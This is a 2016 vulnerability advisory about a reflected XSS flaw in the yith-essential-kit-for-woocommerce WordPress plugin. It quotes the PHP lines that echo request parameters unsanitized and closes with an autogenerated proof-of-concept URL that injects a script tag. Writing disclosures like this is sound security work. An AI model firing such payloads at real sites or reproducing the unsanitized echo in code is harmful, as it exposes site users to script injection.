Advisory #: 783
Title: Reflected XSS in wordpress plugin yith-essential-kit-for-woocommerce-1 v1.1.20
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/yith-essential-kit-for-woocommerce-1
Downloads: 45557
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: yith-essential-kit-for-woocommerce-1
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./yith-essential-kit-for-woocommerce-1/modules/yith-woocommerce-review-reminder/templates/admin/blocklist-table.php: 252: <input type="hidden" name="page" value="<?php echo $_GET['page']; ?>" /> 253: <input type="hidden" name="tab" value="<?php echo $_GET['tab'] ?>" /> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./yith-essential-kit-for-woocommerce-1/modules/yith-woocommerce-review-reminder/templates/admin/blocklist-table.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/yith-essential-kit-for-woocommerce-1/modules/yith-woocommerce-review-reminder/templates/admin/blocklist-table.php?page="><script>alert(1);</script><"